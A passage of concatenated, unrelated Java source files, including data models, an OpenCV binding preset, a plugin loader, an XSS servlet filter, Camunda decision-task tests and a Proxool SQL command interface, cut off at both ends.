* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
package com.desk.java.apiclient.model;
import java.io.Serializable;
import java.util.Date;
/**
* Created by Matt Kranzler on 6/26/15.
* Copyright (c) 2016 Desk.com. All rights reserved.
*/
public class InboundMailbox implements Serializable {
private static final long serialVersionUID = 4867906842880442804L;
private long id;
private String name;
private String hostname;
private String email;
private Date lastCheckedAt;
private Date createdAt;
private Date updatedAt;
private Date lastError;
private String inboundAddressFilter;
private String outboundAddressFilter;
private String port;
private boolean enabled;
private String type;
private Links _links;
public long getId() {
return id;
}
public String getName() {
return name;
}
public String getHostname() {
return hostname;
}
public String getEmail() {
return email;
}
public Date getLastCheckedAt() {
return lastCheckedAt;
}
public Date getCreatedAt() {
return createdAt;
}
public Date getUpdatedAt() {
return updatedAt;
}
public Date getLastError() {
return lastError;
}
public String getInboundAddressFilter() {
return inboundAddressFilter;
}
public String getOutboundAddressFilter() {
return outboundAddressFilter;
}
public String getPort() {
return port;
}
public boolean isEnabled() {
return enabled;
}
public String getType() {
return type;
}
public Links getLinks() {
return _links;
}
}
|
/*
* Copyright (C) 2014-2018 Samuel Audet
*
* Licensed either under the Apache License, Version 2.0, or (at your option)
* under the terms of the GNU General Public License as published by
* the Free Software Foundation (subject to the "Classpath" exception),
* either version 2, or any later version (collectively, the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
* http://www.gnu.org/licenses/
* http://www.gnu.org/software/classpath/license.html
*
* or as provided in the LICENSE.txt file that accompanied this code.
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.bytedeco.opencv.presets;
import org.bytedeco.javacpp.annotation.Platform;
import org.bytedeco.javacpp.annotation.Properties;
import org.bytedeco.javacpp.tools.Info;
import org.bytedeco.javacpp.tools.InfoMap;
import org.bytedeco.javacpp.tools.InfoMapper;
/**
* Wrapper for OpenCV module xfeatures2d, part of OpenCV_Contrib.
*
* @author Jarek Sacha
*/
@Properties(
inherit = {opencv_ml.class, opencv_shape.class},
value = {
@Platform(include = {"<opencv2/xfeatures2d.hpp>", "<opencv2/xfeatures2d/nonfree.hpp>"}, link = "opencv_xfeatures2d@.4.5",
preload = {"opencv_cuda@.4.5", "opencv_cudaarithm@.4.5"}),
@Platform(value = "ios", preload = "libopencv_xfeatures2d"),
@Platform(value = "windows", link = "opencv_xfeatures2d451",
preload = {"opencv_cuda451", "opencv_cudaarithm451"})},
target = "org.bytedeco.opencv.opencv_xfeatures2d",
global = "org.bytedeco.opencv.global.opencv_xfeatures2d"
)
public class opencv_xfeatures2d implements InfoMapper {
public void map(InfoMap infoMap) {
infoMap.put(new Info("cv::Matx23f").cast().pointerTypes("FloatPointer"));
}
}
|
package unalcol.reflect.service;
import unalcol.reflect.loader.tool.JarLoader;
import unalcol.reflect.loader.Loader;
import unalcol.reflect.util.*;
import java.io.File;
import java.util.zip.ZipFile;
import java.util.zip.ZipEntry;
import java.util.Enumeration;
/**
* <p>Loads service from the current Class Loader (looking throught
* paths, jars, etc)</p>
*
* @author Jonatan Gomez Perdomo
* @version 1.0
*/
public class ServiceLoader {
/**
* Class Loader
*/
protected Loader loader;
/**
* The service hierarchy infra-structure
*/
protected ServiceProvider provider;
public ServiceLoader( Loader loader, ServiceProvider provider ){
this.loader = loader;
this.provider = provider;
}
public ServiceLoader( Loader loader ){
this.loader = loader;
this.provider = new ServiceProvider();
}
/**
* Returs the ClassLoader used by the PlugInProvider
* @return ClassLoader used by the PlugInProvider
*/
public Loader loader(){
return loader;
}
public ServiceProvider provider(){
return provider;
}
/**
* Loads the plugIns inside source and class paths
*/
public void load() {
String[] paths = loader.systemClassPath();
for( int i=0; i<paths.length; i++ ){
load( paths[i], paths[i] );
}
if( loader.usingPlugInPaths() ){
String source_path = loader.sourcePath();
String class_path = loader.classPath();
load( source_path, source_path );
if (!source_path.equals(class_path)) {
load( class_path, class_path );
}
loadFromJars();
}
}
/**
* Adds a plugIn to the associated PlugInProvider if possible
* @param result Candidate PlugIn to be included by the PlugInProvider
* @return <i>true</i> if the given class represents a PlugIn that can be
* associated to the given PlugInProvider and it was succesfully included in the Provider,
* <i>false</i> otherwise
*/
protected boolean add(Class result) {
try {
if(getClass() != result && provider.register(result) ){
return true;
}
} catch (Exception e) {
}
return false;
}
/**
* Adds the given class to the PlugIn Provider as PlugIn if possible
* @param className Class representing a PlugIn that should be added to the PlugIn Provider
* @return <i>true</i> if the given class represents a PlugIn that can be
* associated to the given PlugInProvider and it was succesfully included in the Provider,
* <i>false</i> otherwise
*/
protected boolean add( String className ){
try {
Class result = loader.loadClass(className);
if (result != null) {
return add(result);
}
} catch (Exception e) {
}
return false;
}
/**
* Adds a jar file to the resources
* @param f Jar file to be added
*/
protected void add(File f) {
try {
ZipFile jarFile = new ZipFile(f);
Enumeration entries = jarFile.entries();
while (entries.hasMoreElements()) {
ZipEntry entry = (ZipEntry) entries.nextElement();
if (entry.getName().endsWith(".class")) {
String className = entry.getName();
className = className.substring(0,
className.length() - 6).replace('/',
'.');
add( className );
}
}
} catch (Exception e) {} finally {
}
}
/**
* Loads the services defined in the source and class paths
* @param path (Source/Class) path being analized
* @param rootPath Root path in the recursive process
*/
protected void load(String path, String rootPath) {
//find all JAR files on the path and subdirectories
File f = new File(path);
String[] list = f.list();
if (list == null)
return;
for (int i = 0; i < list.length; i++) {
f = new File(path, list[i]);
if (f.isFile()) {
load(f, path, rootPath);
} else {
if (f.isDirectory()) {
load(f.getAbsolutePath(), rootPath);
}
}
}
}
/**
* Loads the plugIns represented by the given file
* @param f File representing a PlugIn
* @param path Source/class path
* @param rootPath Root path in the recursive process
*/
protected void load( File f, String path, String rootPath ){
if (f.getName().endsWith(".class") || f.getName().endsWith(".java")) {
String classname = f.getAbsolutePath();
classname = classname.substring(rootPath.length());
classname = classname.substring(0,classname.lastIndexOf('.'));
classname = classname.replace(JavaOS.fileSeparator(), '.');
if( classname.charAt(0) == '.' ){
classname = classname.substring(1);
}
add(classname);
}
}
/**
* Loads the jar files from the libraries path
*/
protected void loadFromJars() {
JarLoader[] jarFiles = loader.jarFiles();
int n = jarFiles.length;
for( int i=0; i<n; i++ ){
add(jarFiles[i].file());
}
}
}
|
package com.yzcx.ucar.common.xss;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.yzcx.ucar.common.utils.StringUtils;
/**
* 防止XSS攻击的过滤器
*
* @author ruoyi
*/
public class XssFilter implements Filter
{
/**
* 排除链接
*/
public List<String> excludes = new ArrayList<>();
/**
* xss过滤开关
*/
public boolean enabled = false;
@Override
public void init(FilterConfig filterConfig) throws ServletException
{
String tempExcludes = filterConfig.getInitParameter("excludes");
String tempEnabled = filterConfig.getInitParameter("enabled");
if (StringUtils.isNotEmpty(tempExcludes))
{
String[] url = tempExcludes.split(",");
for (int i = 0; url != null && i < url.length; i++)
{
excludes.add(url[i]);
}
}
if (StringUtils.isNotEmpty(tempEnabled))
{
enabled = Boolean.valueOf(tempEnabled);
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (handleExcludeURL(req, resp))
{
chain.doFilter(request, response);
return;
}
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
chain.doFilter(xssRequest, response);
}
private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response)
{
if (!enabled)
{
return true;
}
if (excludes == null || excludes.isEmpty())
{
return false;
}
String url = request.getServletPath();
for (String pattern : excludes)
{
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find())
{
return true;
}
}
return false;
}
@Override
public void destroy()
{
}
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.ki.config;
import org.apache.ki.KiException;
/**
* Root exception indicating there was a problem parsing or processing the Ki configuration.
*
* @author Les Hazlewood
* @since 0.9
*/
public class ConfigurationException extends KiException {
/**
* Creates a new ConfigurationException.
*/
public ConfigurationException() {
super();
}
/**
* Constructs a new ConfigurationException.
*
* @param message the reason for the exception
*/
public ConfigurationException(String message) {
super(message);
}
/**
* Constructs a new ConfigurationException.
*
* @param cause the underlying Throwable that caused this exception to be thrown.
*/
public ConfigurationException(Throwable cause) {
super(cause);
}
/**
* Constructs a new ConfigurationException.
*
* @param message the reason for the exception
* @param cause the underlying Throwable that caused this exception to be thrown.
*/
public ConfigurationException(String message, Throwable cause) {
super(message, cause);
}
}
|
/*
* Copyright 2018 Otavio R. Piske <angusyoung@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.maestro.reports.dao.builder;
import org.apache.commons.dbcp2.BasicDataSource;
import org.maestro.common.exceptions.MaestroException;
import org.maestro.reports.dao.TemplateBuilder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.jdbc.core.JdbcTemplate;
/**
* The template builder that creates a JDBC template for external databases that read settings from environment
* variables
*/
public class EnvironmentDatabaseBuilder implements TemplateBuilder {
protected static BasicDataSource ds;
private void checkVar(final String varName, final String value) {
if (value == null) {
throw new MaestroException("The application is reading DB information from the environment but the %s " +
"variable is not set", varName);
}
}
@Override
public JdbcTemplate build() {
if (ds == null) {
synchronized (this) {
if (ds == null) {
try {
ds = new BasicDataSource();
final String driverClassName = System.getenv("MAESTRO_REPORTS_DRIVER");
checkVar(driverClassName, "MAESTRO_REPORTS_DRIVER");
ds.setDriverClassName(driverClassName);
final String url = System.getenv("MAESTRO_REPORTS_DATASOURCE_URL");
checkVar(url, "MAESTRO_REPORTS_DATASOURCE_URL");
ds.setUrl(url);
final String username = System.getenv("MAESTRO_REPORTS_DATASOURCE_USERNAME");
checkVar(username, "MAESTRO_REPORTS_DATASOURCE_URL");
ds.setUsername(username);
final String password = System.getenv("MAESTRO_REPORTS_DATASOURCE_PASSWORD");
checkVar(password, "MAESTRO_REPORTS_DATASOURCE_URL");
ds.setPassword(password);
ds.setInitialSize(2);
JdbcTemplate jdbcTemplate = new JdbcTemplate(ds);
jdbcTemplate.update("select 1 from dual");
return jdbcTemplate;
}
catch (Throwable t) {
Logger logger = LoggerFactory.getLogger(EnvironmentDatabaseBuilder.class);
logger.error("Unable to connect to an external DB: {}", t.getMessage(), t);
throw new MaestroException(t);
}
}
}
}
return new JdbcTemplate(ds);
}
}
|
package landmaster.plustic.crafttweaker;
import com.blamejared.compat.tconstruct.materials.ITICMaterial;
import crafttweaker.IAction;
import landmaster.plustic.tools.stats.BatteryCellMaterialStats;
import slimeknights.tconstruct.library.materials.Material;
public class SetEnergyAction implements IAction {
private final ITICMaterial mat;
private final int energy;
public SetEnergyAction(ITICMaterial mat, int energy) {
this.mat = mat;
this.energy = energy;
}
@Override
public void apply() {
//BatteryCellMaterialStats oldStats = ((Material)mat.getInternal()).getStatsOrUnknown(BatteryCellMaterialStats.TYPE);
BatteryCellMaterialStats newStats = new BatteryCellMaterialStats(this.energy);
((Material) mat.getInternal()).addStats(newStats);
}
@Override
public String describe() {
return "Setting battery cell energy capacity of " + mat.getName() + " to " + energy;
}
}
|
package sigleton;
/**
* @author jinhuan3
* @date 2/12/2022 - 11:02 PM
* 中国历史上一般都是一个朝代一个皇帝,有两个皇帝的话,必然要PK出一个
*/
public class Emperor {
private static Emperor emperor = null; //定义一个皇帝放在那里,然后给这个皇帝名字
private Emperor(){
//私有的构造器,使外部不能调用创建Emperor对象
}
public static Emperor getInstance(){
if(emperor == null){
emperor = new Emperor();
}
return emperor;
}
//皇帝叫什么名字
public static void emperorInfo(){
System.out.println("我就是皇帝某某某....");
}
}
|
/*
* Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH
* under one or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information regarding copyright
* ownership. Camunda licenses this file to you under the Apache License,
* Version 2.0; you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.camunda.bpm.engine.test.cmmn.decisiontask;
import org.camunda.bpm.engine.exception.dmn.DecisionDefinitionNotFoundException;
import org.camunda.bpm.engine.impl.test.CmmnProcessEngineTestCase;
import org.camunda.bpm.engine.runtime.CaseInstance;
import org.camunda.bpm.engine.test.Deployment;
import org.camunda.bpm.engine.variable.VariableMap;
import org.camunda.bpm.engine.variable.Variables;
/**
* @author Roman Smirnov
*
*/
public class DmnDecisionTaskTest extends CmmnProcessEngineTestCase {
public static final String CMMN_CALL_DECISION_CONSTANT = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionAsConstant.cmmn";
public static final String CMMN_CALL_DECISION_CONSTANT_WITH_MANUAL_ACTIVATION = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionAsConstantWithManualActiovation.cmmn";
public static final String CMMN_CALL_DECISION_EXPRESSION = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionAsExpressionStartsWithDollar.cmmn";
public static final String CMMN_CALL_DECISION_EXPRESSION_WITH_MANUAL_ACTIVATION = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionAsExpressionStartsWithDollarWithManualActiovation.cmmn";
public static final String DECISION_OKAY_DMN = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testDecisionOkay.dmn11.xml";
public static final String DECISION_NOT_OKAY_DMN = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testDecisionNotOkay.dmn11.xml";
public static final String DECISION_POJO_DMN = "org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testPojo.dmn11.xml";
public static final String DECISION_LITERAL_EXPRESSION_DMN = "org/camunda/bpm/engine/test/dmn/deployment/DecisionWithLiteralExpression.dmn";
public static final String DRD_DISH_RESOURCE = "org/camunda/bpm/engine/test/dmn/deployment/drdDish.dmn11.xml";
protected final String CASE_KEY = "case";
protected final String DECISION_TASK = "PI_DecisionTask_1";
protected final String DECISION_KEY = "testDecision";
@Deployment(resources = {CMMN_CALL_DECISION_CONSTANT, DECISION_OKAY_DMN })
public void testCallDecisionAsConstant() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY);
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("okay", getDecisionResult(caseInstance));
}
@Deployment(resources = {
CMMN_CALL_DECISION_EXPRESSION,
DECISION_OKAY_DMN
})
public void testCallDecisionAsExpressionStartsWithDollar() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables().putValue("testDecision", "testDecision"));
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("okay", getDecisionResult(caseInstance));
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionAsExpressionStartsWithHash.cmmn",
DECISION_OKAY_DMN
})
public void testCallDecisionAsExpressionStartsWithHash() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables().putValue("testDecision", "testDecision"));
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("okay", getDecisionResult(caseInstance));
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallLatestDecision.cmmn",
DECISION_OKAY_DMN
})
public void testCallLatestCase() {
// given
String deploymentId = repositoryService.createDeployment()
.addClasspathResource(DECISION_NOT_OKAY_DMN)
.deploy()
.getId();
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY);
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("not okay", getDecisionResult(caseInstance));
repositoryService.deleteDeployment(deploymentId, true);
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionByDeployment.cmmn",
DECISION_OKAY_DMN
})
public void testCallDecisionByDeployment() {
// given
String deploymentId = repositoryService.createDeployment()
.addClasspathResource(DECISION_NOT_OKAY_DMN)
.deploy()
.getId();
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY);
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("okay", getDecisionResult(caseInstance));
repositoryService.deleteDeployment(deploymentId, true);
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionByVersion.cmmn",
DECISION_OKAY_DMN
})
public void testCallDecisionByVersion() {
// given
String deploymentId = repositoryService.createDeployment()
.addClasspathResource(DECISION_NOT_OKAY_DMN)
.deploy()
.getId();
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY);
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("not okay", getDecisionResult(caseInstance));
repositoryService.deleteDeployment(deploymentId, true);
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionByVersionAsExpressionStartsWithDollar.cmmn",
DECISION_OKAY_DMN
})
public void testCallDecisionByVersionAsExpressionStartsWithDollar() {
// given
String deploymentId = repositoryService.createDeployment()
.addClasspathResource(DECISION_NOT_OKAY_DMN)
.deploy()
.getId();
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables().putValue("myVersion", 2));
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("not okay", getDecisionResult(caseInstance));
repositoryService.deleteDeployment(deploymentId, true);
}
@Deployment(resources = {
"org/camunda/bpm/engine/test/cmmn/decisiontask/DmnDecisionTaskTest.testCallDecisionByVersionAsExpressionStartsWithHash.cmmn",
DECISION_OKAY_DMN
})
public void testCallDecisionByVersionAsExpressionStartsWithHash() {
// given
String deploymentId = repositoryService.createDeployment()
.addClasspathResource(DECISION_NOT_OKAY_DMN)
.deploy()
.getId();
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables().putValue("myVersion", 2));
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("not okay", getDecisionResult(caseInstance));
repositoryService.deleteDeployment(deploymentId, true);
}
@Deployment(resources = CMMN_CALL_DECISION_CONSTANT_WITH_MANUAL_ACTIVATION)
public void testDecisionNotFound() {
// given
createCaseInstanceByKey(CASE_KEY);
String decisionTaskId = queryCaseExecutionByActivityId(DECISION_TASK).getId();
try {
// when
caseService
.withCaseExecution(decisionTaskId)
.manualStart();
fail("It should not be possible to evaluate a not existing decision.");
} catch (DecisionDefinitionNotFoundException e) {}
}
@Deployment(resources = {
CMMN_CALL_DECISION_CONSTANT,
DECISION_POJO_DMN
})
public void testPojo() {
// given
VariableMap variables = Variables.createVariables()
.putValue("pojo", new TestPojo("okay", 13.37));
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, variables);
assertEquals("okay", getDecisionResult(caseInstance));
}
@Deployment(resources = { CMMN_CALL_DECISION_CONSTANT, DECISION_OKAY_DMN })
public void testIgnoreNonBlockingFlag() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY);
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("okay", getDecisionResult(caseInstance));
}
@Deployment( resources = { CMMN_CALL_DECISION_EXPRESSION_WITH_MANUAL_ACTIVATION, DECISION_LITERAL_EXPRESSION_DMN} )
public void testCallDecisionWithLiteralExpression() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables()
.putValue("testDecision", "decisionLiteralExpression")
.putValue("a", 2)
.putValue("b", 3));
String decisionTaskId = queryCaseExecutionByActivityId(DECISION_TASK).getId();
// when
caseService
.withCaseExecution(decisionTaskId)
.manualStart();
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals(5, getDecisionResult(caseInstance));
}
@Deployment(resources = { CMMN_CALL_DECISION_EXPRESSION, DRD_DISH_RESOURCE })
public void testCallDecisionWithRequiredDecisions() {
// given
CaseInstance caseInstance = createCaseInstanceByKey(CASE_KEY, Variables.createVariables()
.putValue("testDecision", "dish-decision")
.putValue("temperature", 32)
.putValue("dayType", "Weekend"));
// then
assertNull(queryCaseExecutionByActivityId(DECISION_TASK));
assertEquals("Light salad", getDecisionResult(caseInstance));
}
protected Object getDecisionResult(CaseInstance caseInstance) {
return caseService.getVariable(caseInstance.getId(), "result");
}
}
|
package org.choreos.services.enactchoreography.client.smartcart;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Classe Java per payRequiredResponse complex type.
*
* <p>Il seguente frammento di schema specifica il contenuto previsto contenuto in questa classe.
*
* <pre>
* <complexType name="payRequiredResponse">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "payRequiredResponse")
public class PayRequiredResponse {
}
|
package com.informatorio.proyectofinal.repository;
import com.informatorio.proyectofinal.entity.Emprendimiento;
import com.informatorio.proyectofinal.entity.Evento;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
import java.util.List;
@Repository
public interface EventoRepository extends JpaRepository<Evento, Long> {
}
|
package org.openapitools.model;
import java.net.URI;
import java.util.Objects;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonValue;
import java.util.ArrayList;
import java.util.List;
import org.openapitools.model.Category;
import org.openapitools.model.Tag;
import org.openapitools.jackson.nullable.JsonNullable;
import java.time.OffsetDateTime;
import javax.validation.Valid;
import javax.validation.constraints.*;
import io.swagger.v3.oas.annotations.media.Schema;
import java.util.*;
import javax.annotation.Generated;
/**
* A pet for sale in the pet store
*/
@Schema(name = "Pet", description = "A pet for sale in the pet store")
@Generated(value = "org.openapitools.codegen.languages.SpringCodegen")
public class Pet {
@JsonProperty("id")
private Long id;
@JsonProperty("category")
private Category category;
@JsonProperty("name")
private String name;
@JsonProperty("photoUrls")
@Valid
private List<String> photoUrls = new ArrayList<>();
@JsonProperty("tags")
@Valid
private List<Tag> tags = null;
/**
* pet status in the store
*/
public enum StatusEnum {
AVAILABLE("available"),
PENDING("pending"),
SOLD("sold");
private String value;
StatusEnum(String value) {
this.value = value;
}
@JsonValue
public String getValue() {
return value;
}
@Override
public String toString() {
return String.valueOf(value);
}
@JsonCreator
public static StatusEnum fromValue(String value) {
for (StatusEnum b : StatusEnum.values()) {
if (b.value.equals(value)) {
return b;
}
}
throw new IllegalArgumentException("Unexpected value '" + value + "'");
}
}
@JsonProperty("status")
private StatusEnum status;
public Pet id(Long id) {
this.id = id;
return this;
}
/**
* Get id
* @return id
*/
@Schema(name = "id", required = false)
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Pet category(Category category) {
this.category = category;
return this;
}
/**
* Get category
* @return category
*/
@Valid
@Schema(name = "category", required = false)
public Category getCategory() {
return category;
}
public void setCategory(Category category) {
this.category = category;
}
public Pet name(String name) {
this.name = name;
return this;
}
/**
* Get name
* @return name
*/
@NotNull
@Schema(name = "name", example = "doggie", required = true)
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Pet photoUrls(List<String> photoUrls) {
this.photoUrls = photoUrls;
return this;
}
public Pet addPhotoUrlsItem(String photoUrlsItem) {
this.photoUrls.add(photoUrlsItem);
return this;
}
/**
* Get photoUrls
* @return photoUrls
*/
@NotNull
@Schema(name = "photoUrls", required = true)
public List<String> getPhotoUrls() {
return photoUrls;
}
public void setPhotoUrls(List<String> photoUrls) {
this.photoUrls = photoUrls;
}
public Pet tags(List<Tag> tags) {
this.tags = tags;
return this;
}
public Pet addTagsItem(Tag tagsItem) {
if (this.tags == null) {
this.tags = new ArrayList<>();
}
this.tags.add(tagsItem);
return this;
}
/**
* Get tags
* @return tags
*/
@Valid
@Schema(name = "tags", required = false)
public List<Tag> getTags() {
return tags;
}
public void setTags(List<Tag> tags) {
this.tags = tags;
}
public Pet status(StatusEnum status) {
this.status = status;
return this;
}
/**
* pet status in the store
* @return status
*/
@Schema(name = "status", description = "pet status in the store", required = false)
public StatusEnum getStatus() {
return status;
}
public void setStatus(StatusEnum status) {
this.status = status;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Pet pet = (Pet) o;
return Objects.equals(this.id, pet.id) &&
Objects.equals(this.category, pet.category) &&
Objects.equals(this.name, pet.name) &&
Objects.equals(this.photoUrls, pet.photoUrls) &&
Objects.equals(this.tags, pet.tags) &&
Objects.equals(this.status, pet.status);
}
@Override
public int hashCode() {
return Objects.hash(id, category, name, photoUrls, tags, status);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class Pet {\n");
sb.append(" id: ").append(toIndentedString(id)).append("\n");
sb.append(" category: ").append(toIndentedString(category)).append("\n");
sb.append(" name: ").append(toIndentedString(name)).append("\n");
sb.append(" photoUrls: ").append(toIndentedString(photoUrls)).append("\n");
sb.append(" tags: ").append(toIndentedString(tags)).append("\n");
sb.append(" status: ").append(toIndentedString(status)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces
* (except the first line).
*/
private String toIndentedString(Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
|
package net.kiberion.swampmachine.utils.charting;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import org.junit.Test;
import org.knowm.xchart.BitmapEncoder.BitmapFormat;
public class PieChartTest {
@Test
public void testPieChart() throws Exception {
SwampPieChart chart = new SwampPieChart();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
chart.saveBitmap(chart.getChart(), bos, BitmapFormat.PNG);
InputStream bis = new ByteArrayInputStream(bos.toByteArray());
}
}
|
/*
* This software is released under a licence similar to the Apache Software Licence.
* See org.logicalcobwebs.proxool.package.html for details.
* The latest version is available at http://proxool.sourceforge.net
*/
package org.logicalcobwebs.dbscript;
/**
* An SQL command to run.
*
* @version $Revision: 1.5 $, $Date: 2003/03/03 11:12:03 $
* @author Bill Horsman (bill@logicalcobwebs.co.uk)
* @author $Author: billhorsman $ (current maintainer)
* @since Proxool 0.5
*/
public interface CommandIF {
/**
* The SQL statement to run
* @return sql
*/
String getSql();
/**
* How many "threads" to simulate. See {@link org.logicalcobwebs.dbscript.Script} to see how
* it actually implements thread-like behaviour.
* @return load
*/
int getLoad();
/**
* The number of loops to perform. Each loop will run the {@link #getSql sql}
* {@link #getLoad load} times.
* @return loops
*/
int getLoops();
/**
* If true then errors that occur during this command are ignored silently
* and do not stop the {@link org.logicalcobwebs.dbscript.Script script} running.
* @return true if exceptions should be ignored
*/
boolean isIgnoreException();
/**
* If true then errors that occur during this command are logged as debug
* messages but do not stop the {@link org.logicalcobwebs.dbscript.Script script} running.
* @return true if exceptions should be logged
*/
boolean isLogException();
/**
* A convenient name to call this command to help logging.
* @return name
*/
String getName();
}
/*
Revision history:
$Log: CommandIF.java,v $
